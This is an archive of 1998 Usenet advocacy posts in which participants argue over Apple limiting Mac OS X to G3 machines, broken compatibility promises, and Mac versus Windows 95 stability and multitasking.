> from the traffic in these news-group anyway) feels betrayed. I don't
> know about you, but to me that spells bad news for Apple.
It may. But look how few people (just the same, over and over) are
participating in this thread. I don't thing the general Mac public will
feel the anger that you and a few others feel. The vast majority of Mac
users are still running 7.x (or lower!) I did tech support for a
Mac-oriented ISP here in Arizona (AMUG) and most of our customers were
running Performas that hadn't been modified from their installed condition
except for adding a few Solitare games downloaded off the net--they didn't
even know OS 8 was available. Perhaps that is Apple's fault, not theirs,
but my point is that those who would demand cutting-edge are not the
majority of Mac users.
The market Apple *really* wants to reach with OS X are the people
wandering into CompUSA after fighting for years with a crappy K6/Win 95/98
and want something stable, fast, good looking, and cheap. When the staff
demos a G3 running Mac OS X downloading files, printing, e-mailing and
playing a DVD movie at the same time, without crashing, they will be sold.
Hell, I do the same thing every day on my BeOS box, and it gives me quite
a rush, believe me!
> >Having the latest and greatest is a
> > *choice*--not a right or a priveledge. You have to pay to play, people!
>
> I'd agree with you if it wasn't for Apple actually having promised us
> their next generation OS.
Well, I'm just going to have to agree to disagree abotu the status of this
whole "promise" thing. As far as I am concerned the Second Coming of Steve
Jobs wiped the slate clean completely. Before Jobs I wanted to buy a
Newton, run Rhapsody on my dual-processor 604e, and fool around with a
user-level version of WebObjects. Post-Jobs it seems my plans have changed
for me.
> It's especially annoying since there seems to be no technical reason for
> not delivering on their promises. Speculation: They simple want to give
> the clones a final stab in the back and/or sell more G3's.
Being a clone owner (using one right now) who also sold his friends on
clones, perhaps I can feel a bit of the bitterness with which you speak.
I'll tell you how I've managed to justify for myself Apple's current OS X
policy:
Apple COULD make OS X run on high-end 604e systems, if they had the help
of lots of developers to create the proper drivers for third-party CD-ROM
drives, etc. Yet to do so would require another 6 to 8 months, perhaps
another year on OS X's development cycle to test, debug, and write
model-specific enablers for all those hundreds of hardware
configurations.Apple cannot affoard that extra year. We need to have Mac
OS Server before Win NT 5.0, and we need to have OS X before NT 5.1 hits
the streets, period, and before the G4 is in heavy production, because
running OS 8.5 on that would be like hooking a horse cart to a turbojet.
It just makes so much more sense for Apple to build their OS on a single
hardware platform (G-series) and motherboard. It will allow them to get it
out the door *so much faster* than anyone has ever done before. I'm
willing to bet that a good chunk of the delay between WIn 95 and 98 was
simply writing device drivers and testing the thousands of whacky hardware
setups that people are getting on the PC side. Do we really want to fall
down that "it will ship in the next 6 months, we think" hole like the
Wintel suckers?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 10:21:11 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-093.phx.primenet.com
Message-ID: <not-2207981021110001@ip-26-093.phx.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p457j$l0d$1@nnrp1.dejanews.com>
Mail-Copies-To: eilersm@psn.net
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In article <6p457j$l0d$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> Win95 has the problem to a much smaller degree than the MacOS.
This is a whole different topic and thread indeed, but I can tell you
without the slightest amount of doubt that the above is patently untrue. I
did tech support for an ISP with 14,000 customers for over a year. I'm
willing to bet I solved about 80% of the Mac calls, but only 20% of the
Win 95 calls (excluding users who just had the wrong phone number or init
string or forgot a password.) I certainly never had a Mac come up
blue-screen after a reboot. Again and again I had to re-install large
parts of Win 95, replace drivers that had mysteriously dissappeared,
delete corrputed files in Netscape and IE directories, or just plain tell
the user to call Microsoft and have them walk them through a complete
re-install. The only time I ever sent a Mac user to Apple was to buy the
latest OS upgrade. In a year I probably only re-installed FreePPP or
OT/PPP two dozen times; I re-installed Win05 Dial-up Networking 5 to 8
times a day, every day. Win 95 loses dial-up settings, forgets how to find
the modem, loses the CD-ROM drive, and corrupts its Registry almost at
whim--never had a single example of that on the Mac OS.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 12:19:18 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722121136.22438K-100000@ux8.cso.uiuc.edu>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17> <joe.ragosta-2207980849560001@wil103.dol.net>
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On Wed, 22 Jul 1998, Joe Ragosta wrote:
> In article <B1DA7D74-587C6@206.165.43.17>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
> >
> > >A significant change to the kernel, especially involving deep
> > >architectural changes due to new sorts of SMP is a tougher, global,
> > >issue. And it's one which is directly on the critical path to the
> > >new product.
> > >
> > >:This is a marketing issue, far, FAR more than it is an
> > >:engineering/cost-containment issue.
> >
> > Are you suggesting that it is harder to test MacOS X for Pre-G3 Macs than
> > it is to test MacOS 8.x for the 68040, NuBux, Pre-G3 and G3 Macs?
> >
> > I don't think so...
>
> 1. It just might be. Mac OSX differs from Rhapsody by the addition of a
> new kernel, entirely new driver architecture, and a completely new set of
> APIs. Mac OS 8.x uses the same kernel, driver architecture, and kernel of
> Mac OS 8.x-1. The former is a much bigger testing job.
While the work done with Rhapsody for supporting these machines won't
carry over without modification, it is not nearly so big a step as going
from Mac OS to Rhapsody. Rhapsody and Mac OS X are much cleaner than the
Mac OS for abstracting high level parts of the OS from the hardware.
Access is done through the kernel (even for Carbon from What Apple has
been saying).
> 2. It also depends on potential sales volume. Millions of people upgraded
> ot Mac OS 8. I don't know how many PCI Mac owners would pay for the
> upgrade to Mac OS X if it's $200 or so. Remember the number of PCI PPC
> Macs plus Nubus PPC Macs plus 040 Macs is _much_ larger than the number of
> PCI PPC Macs.
I think there are some 3 or 4 million PCI PowerMacs out there. (Anybody
have some real numbers?)
If Mac OS X is $200 or so, it will be a dismal flop. Apple should not
price it significantly higher than the current Mac OS unless it really
wants it to fail. Since Mac OS X is the future of Apple, Mac OS X failing
means Apple failing. It would be collosally stupid for Apple to price it
much higher than the current Mac OS (which probably means that Apple will
do just that). :\
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 10:33:57 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2207981033570001@sf-usr1-22-150.dialup.slip.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17>
In article <B1DA7D74-587C6@206.165.43.17>, "Lawson English"
<english@primenet.com> wrote:
> Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>
> >
> >A significant change to the kernel, especially involving deep
> architectural
> >changes due to new sorts of SMP is a tougher, global, issue. And it's one
> >which is directly on the critical path to the new product.
> >
> >:This is a marketing issue, far, FAR more than it is an
> >:engineering/cost-containment issue.
>
> Are you suggesting that it is harder to test MacOS X for Pre-G3 Macs than
> it is to test MacOS 8.x for the 68040, NuBux, Pre-G3 and G3 Macs?
Well, it is extra work. It is a non-trivial task, and Apple doesn't have the
cadres of test personnel that they used to (in fact, they eliminated that
department right after Jobs took over) How do I know? I know 4 people
who were in that department, one was the department manager. They were
all canned and told that the compatibility test group was being eliminated.
George Graves
From: mazulauf@atmos.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 11:11:59 -0600
Organization: Universtity of Utah - Department of Meteorology
Distribution: world
Message-ID: <mazulauf-2207981112000001@grumpy.met.utah.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6p111m$h87$1@unlnews.unl.edu> <joe.ragosta-2107980852210001@0.0.0.0>
In article <joe.ragosta-2107980852210001@0.0.0.0>, joe.ragosta@dol.net
(Joe Ragosta) wrote:
> Let's see. So you've been using Macs for 14 years. According to most
> studies, Macs are around $3,000 per year lower in TCO than Windows (not
> even counting the huge productivity gains). Heck, we'll even use
> _Microsoft's_ figures and say the difference is only $1,500 (of course,
> that's for Win95--presumably the number was greater for Win3.1 and DOS).
>
> So, you've saved $21,000 dollars in TCO by using Macs, plus an additional
> gain in productivity. You're going to just walk away from that?
Joe, I'm surprised to hear such a bullshit argument, even from _you_. You
can't assume that everyone will see the same results. I know _many_ PC
owners/users who don't spend $1500 a year _total_ on their systems, much
less have that as a differential between what a Mac owner would spend.
I've worked closely with a number of PC owners that spend less than me (a
Mac owner).
Obviously, your argument doesn't hold water. Try a different one. . .
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 10:32:40 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-093.phx.primenet.com
Message-ID: <not-2207981032410001@ip-26-093.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <B1DA7956-48FFC@206.165.43.17>, "Lawson English"
<english@primenet.com> wrote:
> OK, so now we can assume that Apple can rightfully, legally, ethically and
> morally introduce a new OS that will only run with the latest generation
> hardware?
No assumption--it has already been done.
> Where does Apple draw the line, Joe?
>
> Where I, and my lawyers (part of the almost-certain-to-happen
> class-action-suit) claim that it does, if a judge rules in our favor.
Whatever. A class-action suit would be a joke.
> Here's my challenge to Apple:
>
> I am willing to pay $50 MORE for a PCI version of MacOS X than for the G3
> version.
Yes, and wait an extra 2 years for it. Do you think that the money alone
is the barrier to getting OS X to run on all PCI macs? You are utterly
mistaken. It is TIME, TIME, TIME and nothing else. Apple doesn't have the
time to troubleshoot, rewrite drivers and create enablers for all of the
hundreds of possible hardware configurations out there. Ever wonder why
Win 98 took so long? Hardware compatibility testing!
> How many are willing to do the same?
Who cares? You can throw all the money at the problem you want to, but
nothing will solve it but man-hours, period. And do you really want to
wait that extra year? Is *that* the price you are willing to pay?
> Betcha that even if 1 million of us said that we were willing to pay $50
> more, that Apple would still say "no" to a pre-G3 version of MacOS X
> because it's not about expenses, but about control.
Please! Paranoid fantasy of the week (and the weak.) Mac OS X/G3 only is
about starting with a clean slate and a single motherboard design, not
about dictating to the market. There is no law that says you have to
always run the latest OS.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 10:37:46 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-093.phx.primenet.com
Message-ID: <not-2207981037460001@ip-26-093.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz>,
mcox@ihug.co.nz (Martin Cox) wrote:
> >Will you add a statement that you are willing to wait one year after the
> >G3 version is released?
>
> Just to toss in my $0.01 here...
>
> A year - no. A few months (3? 4?) Yes.
But you can't make such an extimation--no one can. Not even Apple really
knows how long it would take them to troubleshoot and debug even a small
set of the existing PCI Mac hardware. I'm willing to bet it would be more
like 6-8 than 3 to 4, at the very least.
> I for one would personally be _more_ than happy to spend an extra $50 and
> wait a _few_ months for a version of MacOS X that will run on my (G3
> equipped) 7500.
It wouldn't be a few months, no matter how much money you threw at the
problem. OSs do not write themselves, and adding more people to the team
wouldn't neccesarily speed things up.
> I bought this 7500 on the basis that it was the most expandable machine
> that was within my price range. I could, remarkably given the hardware I'd
> transferred from, keep the thing for _ages_ and simply plug in a few bits
> here and there to keep it more or less up to date.
That was an unrealistic expectaion on your part, and I can't see how Apple
is to blame for that. At the time you bought the machine Apple's situation
as a company, CEO and future OS path were totally different.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 22 Jul 1998 10:43:25 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net>
In article <Josh.McKee-2107981925440001@pm3a2.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
til it's done. But
> > I can't because the download will time out. I want to do some simple word
> > processing while Bryce renders that really complicated scene. But my
computer
> > gets so slow that I can't even do that. Want some more examples?
>
>
> We've already gone over this. It's not the Mac, it's the programs. I
> demonstrated that the Mac is perfectly able to do various things at the
> same time, provided that the software co-operates. One can argue that
> programs shouldn't have to do this, but the point is...the Macs multasking
> works better than most people give it credit. And PC advocates always
> seem to overlook the fact that us Mac advocates clearly state that the
> Macs CMT isn't the best multitasking method. All we're saying is that it
> isn't as bad as people make it out to be. And, that for most people, it
> is sufficient...thus, we feel no need to switch to another OS to gain that
> "advantage".
Talk about one step forward and two back! Imagine putting up with Windows'
lousy design, horrible user interface, half-ass implementation of most
features that Mac users have been taking for granted for years, just to get
the dubious advantages of Windows '95/98 style multitasking. And speaking
of MT being application specific. What happens to your precious Windows
MT when one of the programs you have to run is still 16 bit? Bye-bye!
George Graves
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-YHgd3smSJB3E@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu> <6ou5gk$kfk$1@nnrp1.dejanews.com> <MPG.101cfec0f9313ac39899cc@news.supernews.com> <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost> <MPG.101e43ebee3790959899d5@news.supernews.com>
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Date: 22 Jul 1998 17:49:54 GMT
Organization: IBM.NET
On Tue, 21 Jul 1998 23:08:32, don.brown@cesoft.com (Donald Brown)
thought aloud:
> In article <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost>, pit@iohk.SPAM-
> NOT.com says...
>> Donald Brown said:
> > > In this part at least, Apple was telling you what they really believed
> > > and did their best to accomplish those plans. They failed. You
> > > apparently wish they had given up, or at least took what they could do
> > > and expand it until it would become another Copland.
> >
> > How do you know they "did their best to accomplish those
> > (compatibility) plans", or that "they failed"? Apple has keenly
> > avoided giving any specific reasons for not supporting pre-G3
> > hardware. Tell me, what was/were the main obstacle(s) they couldn't
> > overcome despite their best efforts?
> >
> > What is your motivation to cover Apple's butt in this matter anyhow?
> > Would a more aggressive YellowBox proliferation have negative effects
> > on your business? Just curious.
> >
> I have friends inside Apple whose word I trust. And no, I won't give
> their names, I'm not sure they were supposed to tell me all they did.
> So, you'll have to rely on my credibility to judge this.
Sorry. Even if your motives are benevolent I'm not going to take
outsider's word on this issue. And Maury just suggested that Apple may
be divided into two camps - those who know sweet nuthin' about YB or
Mac OS X, and those who know some. And the former (Classic camp?) may
be hostile to the latter group and want to protect their turf. Of
course they'd love to keep the '97 hardware hostage for Classic/Carbon
over quicker YB proliferation.
> On some of the older machines, their early investigation suggested that
> some different drivers may need to be written. The MacOS API is much
> closer to the hardware than the OpenStep API, and so Carbon may need
> special drivers that Rhapsody doesn't.
"Early investigation"? They suspected that supporting the '97 hardware
wouldn't be as cheap as they had expected when making the infamous
January 7th 1997 support statement? Surely they realized that some
different drivers may need to be written.
> More importantly, though, is testing. Apple has a very large testing
> plan as they roll out new OSes for computers, even such fairly minimal
> upgrades as 8.1. As they've been sizing OS X, including the testing, the
> plan for G3 will pretty suck up all of the resources available. To
> include all PCI machines was pushing the resources far beyond what was
> available and looked like it would significantly affect the timeline.
So do they really need to spend all those resources on testing Classic
Mac OS updates that they're churning out at the pace of two every
year?
Did Apple consider out-sourcing the PCI Power Macintosh (esp. '97
hardware that was sold because of their perceived compatibility)
compatibility work? A free OS called Linux which already uses the Mach
3 kernel planned for Mac OS X (Rhap 2.0) manages to support infinitely
larger number of hardware combinations and processor generations while
Apple now apparently "can't" (won't) even support their home-grown '97
models. Even tiny Be Inc. got the PCI Macs covered.
> Actually, I'd love a more agressive YellowBox proliferation. It would
> have immediately saved me $6000 that I just spent on a G3 powerbook
> because my old trusty 1400c won't run MacOS X. I can't see any negative
> effects on my business if Apple stretched for all PCI machines and made
> it.
But isn't your employer, CESOFT, making software (CEmail) for the
Classic Mac OS? You actually prefer to keep your classic Mac OS
codebase and probably tweak it for Carbon so it runs under Mac OS 8.x
and under Mac OS X's Carbon environment. You're also writing separate
MS-Windows versions instead of migrating to the cross-platform YB
development, right?
So it'd be good for your business if the '97 hardware (and in fact all
pre-G3 PCI PowerMacs) weren't capable of running the modern Mac OS X,
or Rhapsody (now end of that "beta" line), as they'd be forced to
remain in the domain of Classic Mac OS or "at best" Carbon software
(since they, we, can't run YB software on the promised modern OS even
if we wanted to.
What comes to your new $6000 G3 Powerbook, didn't you buy it to be
more productive anyway? I can't see how not having it would have saved
you a bunch.
> But, as someone who's business primarily results in Mac users, it would
> have a major negative effect if Apple stretched and failed. If Apple
> fails on this OS X, Apple is dead. If they are a year late, Apple is
> dead. And that would have a very negative effect on my business.
So, twice last year Apple's stock dropped to around $13. Lots of
people still bought Apple's Powermacs due to their stated
compatibility with Rhapsody, Apple's upcoming modern OS. We can only
speculate what might have happened to Apple as an independent company
if all the boxes they were selling last year had been known to see
support end at the Classic Mac OS line. It is just too convenient how
Apple recently, as the '97 Powermacs were just about sold out, started
coming out with this "G3-only" party line.
I don't want Apple dead, even if they doomed my '97 Powermac to
forever run outdated OS that I didn't buy it for, but neither do I
believe that supporting the '97 hardware (brand new not many moons
ago) would be the all-draining life-or-death task that some rumour it
to be. Not that it would be totally trivial either, but Rhapsody / Mac
OS X does have the tools and innards for such support to be feasible.
Much of the support cost has already been paid to Apple in the form of
sold '97 (and earlier) Powermacs, and more would be forthcoming in the
form of Rhapsody / Mac OS X license fees. If the pre-G3 compatible
version (x.1?) costs more to buy and is released later than the
G3-optimized v1.0 so be it. If this still left some of the cost for
Apple to carry it sure can't be a life-or-death amount; probably less
than what they may potentially lose due to widespread customer
unhappiness otherwise.
Rgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-fKmBxyV63pt0@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com>
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Date: 22 Jul 1998 17:50:13 GMT
Organization: IBM.NET
On Tue, 21 Jul 1998 20:34:41, quinlan@intergate.bc.ca thought aloud:
> In article <joe.ragosta-2107980812360001@0.0.0.0>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > There are sometimes cut-off points. Until MacOS 8, Apple was fully
> > supporting 13 year old machines. Mac OS 8.1 fully supports machines going
> > back 8 years.
>
> Apple's past practices are hardly relevant to anyone with a computer that's
> just a few years old.
Apparently not. ;-) When I bought my '97 vintage Powermac I was
impressed (and influenced) by Apple's fine track record of supporting
their hardware and thus bought the system to be "ready for Rhapsody"
and WHAM!, suddenly Apple's backward hardware support only extends to
'98 G3 hardware. Not 8 year old, not 4 year old, not even two year old
hardware but only '98 (and the Nov/Dec '97 G3's if gawd is merciful).
I know, I know... "don't ever buy hardware until the software is
available and runs on it....".
Rgds,
--
taiQ
[this space is intentionally blank]
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
Date: 22 Jul 1998 17:56:27 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6p594b$34j$1@news.tuwien.ac.at>
References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> <6p4f85$h15$1@news.tuwien.ac.at>
<6p4qqf$jvu$1@nnrp02.primenet.com> <6p4tpk$q56$1@news.tuwien.ac.at>
<6p50pt$4et$1@nnrp03.primenet.com>
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Cc: jjens@primenet.com
In <6p50pt$4et$1@nnrp03.primenet.com> John Jensen wrote:
> I think the current product generation of the Mac is based on the old
> Pascal toolbox, and the next (Carbon) as well. I haven't seen the article
> yet, but perhaps Negroponte's frustration lies in the advanced stuff being
> two generations out?
He may (like so many) have misunderstood the WWDC "killing" of Rhapsody (one
of their worst marketing stunts ever[0]) as a "back to 80ies technology"
move. That, and the killing of the Intel version of their NG OS, might have
created and impression of a company only focussing on short-term profit
through hype and shallow marketing, and with their only long-term hope lying
with a buyout.
Alexander Wilkie
[0] I believe the decision to do OS X was a good one. Only the presentation
was a textbook example of how not to break a decision to the public.
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: paul_lucente@merck.com (Paul Lucente)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 11:38:11 -0400
Organization: Merck & Co.
Message-ID: <paul_lucente-ya02408000R2207981138110001@merck.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org>
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In article <slrn6r8dnf.290.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Joe Ragosta posted the following to comp.sys.mac.advocacy:
>
> >> >Try this:
>
> >> >fdisk
>
> >> As root - only. A sensible user doesn't do day-to-day stuff as root.
>
> >What's your choice if you're running Win95?
>
> A sensible user doesn't run Windows 95.
C'mon, that's a little bit of a stretch isn't it?
There's a lot of folks out there for whom Windows 95 is a good solution,
its generally easy to use, there's a lot of sw available, etc.
For your *average* home user, I'd say it *IS* sensible.
Paul
The contents of this message express only the sender's opinion.
This message does not necessarily reflect the policy or views of
my employer, Merck & Co., Inc. All responsibility for the statements
made in this Usenet posting resides solely and completely with the
sender.
From: mcgrane@NOSPAMhome.com (Paul McGrane)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <mcgrane-2207981433490001@cc962257-a.vron1.nj.home.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
Date: Wed, 22 Jul 1998 18:33:27 GMT
NNTP-Posting-Date: Wed, 22 Jul 1998 11:33:27 PDT
Organization: @Home Network
In article <6p3i97$507$1@news02.btx.dtag.de>, Fam.Traeger@t-online.de
(=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > In article <B1D4F704-26A9A@206.165.43.134>, "Lawson English"
> > <english@primenet.com> wrote:
> >
> > > Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> said:
> > >
> > > >In article <6oimuj$nsq$1@news00.btx.dtag.de>, Fam.Traeger@t-online.de
> > > >(=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
> > > [snipt]
> > > >> Bingo! If you want to write apps for the Mac, would you chose an API
> > > >> that runs on Wintel but not on a large number of Macs still in use, the
> > > >> 68ks?
> > > >
> > > >
> > > >
> > > >In a new york second.
> > >
> > > I think that he meant: "if you already write for the Mac..." implying that
> > > you have an installed base of customers who still use 68K machines.
> >
> > Perhaps. But if you're selling software today, what percentage of your
> > sales are to pepole using 68k machines? I'm sure it's a very small
> > percentage.
>
> It may still be higher than that of "real" G3s. It's high enough that
> most apps, even games still have 68k versions (I'm talking about the
> 68k-family btw, incl. 68040).
>
I may not have the best view of the market, but it seems to me that few
new applications and even fewer new games have 68k versions. Sure, there's
some, and for a good many people apps a few generations old still do a
fine job, but 68k support is dwindling.
--
...Paul McGrane
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 07:24:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p443i$iom$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com>
In article <6p3d1m$mr6$1@camel18.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
> Please.
>
